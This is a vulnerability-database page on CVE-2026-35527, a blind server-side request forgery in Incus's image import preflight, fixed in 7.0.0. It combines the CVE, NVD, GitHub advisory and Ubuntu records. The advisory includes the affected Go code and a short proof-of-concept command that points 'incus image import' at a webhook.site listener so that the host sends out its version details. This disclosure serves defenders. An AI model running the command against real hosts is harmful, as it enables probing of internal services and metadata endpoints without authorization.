Vulnerability-Lookup

CVE-2026-35527 (GCVE-0-2026-35527)

Vulnerability from cvelistv5 – Published: 2026-05-05 19:56 – Updated: 2026-05-06 15:24

Title

Incus blind SSRF via image import preflight HEAD request

Summary

Incus is an open source container and virtual machine manager. In versions prior to 7.0.0, the image import flow issues an outbound HEAD request to a user-supplied URL before validating the request against project restrictions such as restricted.images.servers. The imgPostURLInfo function constructs and sends a HEAD request directly from the attacker-supplied source URL to resolve image metadata, and this network interaction occurs before the flow reaches the point where the import would be rejected by policy. Although the actual image download is blocked by the project restriction, an authenticated user can coerce the daemon into making blind HEAD requests to arbitrary destinations. These requests include server metadata in custom headers (Incus-Server-Architectures, Incus-Server-Version), which discloses information about the host environment to the attacker-controlled endpoint. This blind SSRF primitive can be used to probe internal services, unroutable address space, or cloud metadata endpoints reachable from the host. This vulnerability pattern is similar to CVE-2026-24767. This issue has been fixed in version 7.0.0.

Severity

5.3 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/lxc/incus/security/advisories/…	x_refsource_CONFIRM
https://github.com/lxc/incus/blob/v6.22.0/cmd/inc…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
lxc	incus	Affected: < 7.0.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-35527

Vulnerability from fkie_nvd - Published: 2026-05-05 21:16 - Updated: 2026-06-17 10:40

Severity

5.0 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go	Product
security-advisories@github.com	https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	linuxcontainers	incus	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "incus",
          "vendor": "lxc",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 7.0.0"
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    }
  ],
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    }
  ],
  "id": "CVE-2026-35527",
  "lastModified": "2026-06-17T10:40:43.723",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
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          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
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          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-35527",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-06T14:50:32.461722Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-05T21:16:22.097",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-8GW4-P4WQ-4HCV

Vulnerability from github – Published: 2026-05-04 16:53 – Updated: 2026-05-08 15:30

Summary

Incus has Blind SSRF via Image Import Preflight HEAD

Details

Summary

A partial implementation of our restricted.images.servers project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.

The actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.

Details

The image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.

A host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go

Affected Code:

func imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {
    [...]
    head, err := http.NewRequest("HEAD", req.Source.URL, nil)
    if err != nil {
        return nil, err
    }

    [...]


    head.Header.Set("User-Agent", version.UserAgent)
    head.Header.Set("Incus-Server-Architectures", strings.Join(architectures, ", "))
    head.Header.Set("Incus-Server-Version", version.Version)

    raw, err := myhttp.Do(head)
    if err != nil {
        return nil, err
    }

    hash := raw.Header.Get("Incus-Image-Hash")
    if hash == "" {
        return nil, errors.New("Missing Incus-Image-Hash header")
    }

    url := raw.Header.Get("Incus-Image-URL")
    if url == "" {
        return nil, errors.New("Missing Incus-Image-URL header")
    }

    info, _, err := ImageDownload(ctx, r, s, op, &ImageDownloadArgs{
        Server:      url,
        Protocol:    "direct",
        Alias:       hash,
        AutoUpdate:  req.AutoUpdate,
        Public:      req.Public,
        ProjectName: project,
        Budget:      budget,
    })
    [...]
}

The following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.

Step 1: Select the reproduction project

From an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.

Command:

incus project switch restricted

Step 2: Trigger the preflight request to an arbitrary URL

From the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.

Command:

incus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image

Result:

Error: Missing Incus-Image-Hash header

Step 3: Verify the outbound HEAD request in the external listener

In the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.

Result:

HEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1
Host: webhook.site
User-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)
Incus-Server-Version: 6.22
Incus-Server-Architectures: x86_64, i686

It is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v6/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T16:53:01Z",
    "nvd_published_at": "2026-05-05T21:16:22Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA partial implementation of our `restricted.images.servers` project restriction allows users in such restricted projects to still cause Incus to send HEAD requests to arbitrary endpoints.\n\nThe actual image download will be rejected by the project restriction, but the ability to trigger arbitrary HTTP requests inside of the Incus environment can still be used as a way to discover otherwise hidden details about the environment.\n\n### Details\nThe image import flow performs outbound network access to a user-supplied URL before the request is fully validated and before the import is rejected. The URL information helper constructs a HEAD request directly from the supplied source URL and immediately sends it to resolve image metadata.\n\nA host-originated HEAD request is issued from attacker-controlled input during the image import preflight stage. In the observed reproduction, this request is sent before the flow fails on later processing requirements, such as missing image metadata headers. As a result, an authenticated user can coerce the daemon into making blind outbound HEAD requests to arbitrary destinations. This yields a blind server-side request forgery (SSRF) primitive against internal services, unroutable address space, or cloud metadata endpoints reachable by the host. This vulnerability pattern is similar to CVE-2026-24767.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go \n\nAffected Code:\n```\nfunc imgPostURLInfo(ctx context.Context, s *state.State, r *http.Request, req api.ImagesPost, op *operations.Operation, project string, budget int64) (*api.Image, error) {\n    [...]\n    head, err := http.NewRequest(\"HEAD\", req.Source.URL, nil)\n    if err != nil {\n        return nil, err\n    }\n\n    [...]\n\n\n    head.Header.Set(\"User-Agent\", version.UserAgent)\n    head.Header.Set(\"Incus-Server-Architectures\", strings.Join(architectures, \", \"))\n    head.Header.Set(\"Incus-Server-Version\", version.Version)\n\n    raw, err := myhttp.Do(head)\n    if err != nil {\n        return nil, err\n    }\n\n    hash := raw.Header.Get(\"Incus-Image-Hash\")\n    if hash == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-Hash header\")\n    }\n\n    url := raw.Header.Get(\"Incus-Image-URL\")\n    if url == \"\" {\n        return nil, errors.New(\"Missing Incus-Image-URL header\")\n    }\n\n    info, _, err := ImageDownload(ctx, r, s, op, \u0026ImageDownloadArgs{\n        Server:      url,\n        Protocol:    \"direct\",\n        Alias:       hash,\n        AutoUpdate:  req.AutoUpdate,\n        Public:      req.Public,\n        ProjectName: project,\n        Budget:      budget,\n    })\n    [...]\n}\n```\n\nThe following PoC demonstrates that an authenticated user can trigger a host-originated HEAD request to an arbitrary external URL during the image import preflight stage.\n\nStep 1: Select the reproduction project\n\nFrom an Incus client with access to the target server, switch into the project used for reproduction. In this environment, the selected project was configured as restricted=true with a restrictive restricted.images.servers policy.\n\nCommand:\n```\nincus project switch restricted\n```\n\nStep 2: Trigger the preflight request to an arbitrary URL\n\nFrom the same Incus client, attempt to import an image from an attacker-controlled or observable URL. In this example, webhook.site is used as an external listener to capture the host-originated request.\n\nCommand:\n```\nincus image import https://webhook.site/0270eca3-4197-4194-97b6-1280f1070c3a --alias my-ssrf-image\n```\n\nResult:\n```\nError: Missing Incus-Image-Hash header\n```\n\nStep 3: Verify the outbound HEAD request in the external listener\n\nIn the webhook.site request log for the URL above, confirm that the Incus host issued a HEAD request before the import failed. In this reproduction environment, the request originated from a server running Incus v6.22.0.\n\nResult:\n```\nHEAD /0270eca3-4197-4194-97b6-1280f1070c3a HTTP/1.1\nHost: webhook.site\nUser-Agent: Incus 6.22 (Linux; x86_64; 6.19.6; Debian GNU/Linux; 13) (zfs 2.4.1-1)\nIncus-Server-Version: 6.22\nIncus-Server-Architectures: x86_64, i686\n```\n\nIt is recommended to defer all outbound network interaction associated with URL-based image imports, including metadata preflight requests, until after the supplied URL has passed all validation and policy checks required by the import flow. If the import would later fail or be disallowed, the daemon should reject the request before issuing any network traffic.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "id": "GHSA-8gw4-p4wq-4hcv",
  "modified": "2026-05-08T15:30:49Z",
  "published": "2026-05-04T16:53:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35527"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Incus has Blind SSRF via Image Import Preflight HEAD"
}

ubuntu-cve-2026-35527

Vulnerability from osv_ubuntu

Published

2026-05-05 21:16

Modified

2026-07-02 16:13

Summary

Details

Severity

5.3 (Medium)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

5.0 (Medium)


                    
                      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-35527	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-35527	REPORT
	https://github.com/lxc/incus/security/advisories/…	REPORT
	https://github.com/lxc/incus/pull/3273	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-lxc-incus-dev",
            "binary_version": "6.0.0-1ubuntu0.3+esm3"
          },
          {
            "binary_name": "incus",
            "binary_version": "6.0.0-1ubuntu0.3+esm3"
          },
          {
            "binary_name": "incus-agent",
            "binary_version": "6.0.0-1ubuntu0.3+esm3"
          },
          {
            "binary_name": "incus-client",
            "binary_version": "6.0.0-1ubuntu0.3+esm3"
          },
          {
            "binary_name": "incus-migrate",
            "binary_version": "6.0.0-1ubuntu0.3+esm3"
          },
          {
            "binary_name": "incus-tools",
            "binary_version": "6.0.0-1ubuntu0.3+esm3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:24.04:LTS",
        "name": "incus",
        "purl": "pkg:deb/ubuntu/incus@6.0.0-1ubuntu0.3+esm3?arch=source\u0026distro=esm-apps/noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.4-1ubuntu1",
        "0.5.1-1",
        "0.5.1-3",
        "0.6-1",
        "6.0.0-1",
        "6.0.0-1ubuntu0.1",
        "6.0.0-1ubuntu0.2",
        "6.0.0-1ubuntu0.2+esm1",
        "6.0.0-1ubuntu0.3",
        "6.0.0-1ubuntu0.3+esm1",
        "6.0.0-1ubuntu0.3+esm2",
        "6.0.0-1ubuntu0.3+esm3"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-lxc-incus-dev",
            "binary_version": "6.0.4-2"
          },
          {
            "binary_name": "incus",
            "binary_version": "6.0.4-2"
          },
          {
            "binary_name": "incus-agent",
            "binary_version": "6.0.4-2"
          },
          {
            "binary_name": "incus-base",
            "binary_version": "6.0.4-2"
          },
          {
            "binary_name": "incus-client",
            "binary_version": "6.0.4-2"
          },
          {
            "binary_name": "incus-extra",
            "binary_version": "6.0.4-2"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:25.10",
        "name": "incus",
        "purl": "pkg:deb/ubuntu/incus@6.0.4-2?arch=source\u0026distro=questing"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "6.0.3-4",
        "6.0.4-2"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "golang-github-lxc-incus-dev",
            "binary_version": "6.0.5-8ubuntu0.26.04.1~esm1"
          },
          {
            "binary_name": "incus",
            "binary_version": "6.0.5-8ubuntu0.26.04.1~esm1"
          },
          {
            "binary_name": "incus-agent",
            "binary_version": "6.0.5-8ubuntu0.26.04.1~esm1"
          },
          {
            "binary_name": "incus-base",
            "binary_version": "6.0.5-8ubuntu0.26.04.1~esm1"
          },
          {
            "binary_name": "incus-client",
            "binary_version": "6.0.5-8ubuntu0.26.04.1~esm1"
          },
          {
            "binary_name": "incus-extra",
            "binary_version": "6.0.5-8ubuntu0.26.04.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:26.04:LTS",
        "name": "incus",
        "purl": "pkg:deb/ubuntu/incus@6.0.5-8ubuntu0.26.04.1~esm1?arch=source\u0026distro=esm-apps/resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "6.0.4-2",
        "6.0.5-8",
        "6.0.5-8ubuntu0.26.04.1~esm1"
      ]
    }
  ],
  "aliases": [],
  "details": "Incus is an open source container and virtual machine manager. In versions prior to 7.0.0, the image import flow issues an outbound HEAD request to a user-supplied URL before validating the request against project restrictions such as restricted.images.servers. The imgPostURLInfo function constructs and sends a HEAD request directly from the attacker-supplied source URL to resolve image metadata, and this network interaction occurs before the flow reaches the point where the import would be rejected by policy. Although the actual image download is blocked by the project restriction, an authenticated user can coerce the daemon into making blind HEAD requests to arbitrary destinations. These requests include server metadata in custom headers (Incus-Server-Architectures, Incus-Server-Version), which discloses information about the host environment to the attacker-controlled endpoint. This blind SSRF primitive can be used to probe internal services, unroutable address space, or cloud metadata endpoints reachable from the host. This vulnerability pattern is similar to CVE-2026-24767. This issue has been fixed in version 7.0.0.",
  "id": "UBUNTU-CVE-2026-35527",
  "modified": "2026-07-02T16:13:30Z",
  "published": "2026-05-05T21:16:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-35527"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35527"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-8gw4-p4wq-4hcv"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/lxc/incus/pull/3273"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-35527"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-35527 (GCVE-0-2026-35527)

FKIE_CVE-2026-35527

GHSA-8GW4-P4WQ-4HCV

Summary

Details

Credit

ubuntu-cve-2026-35527

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature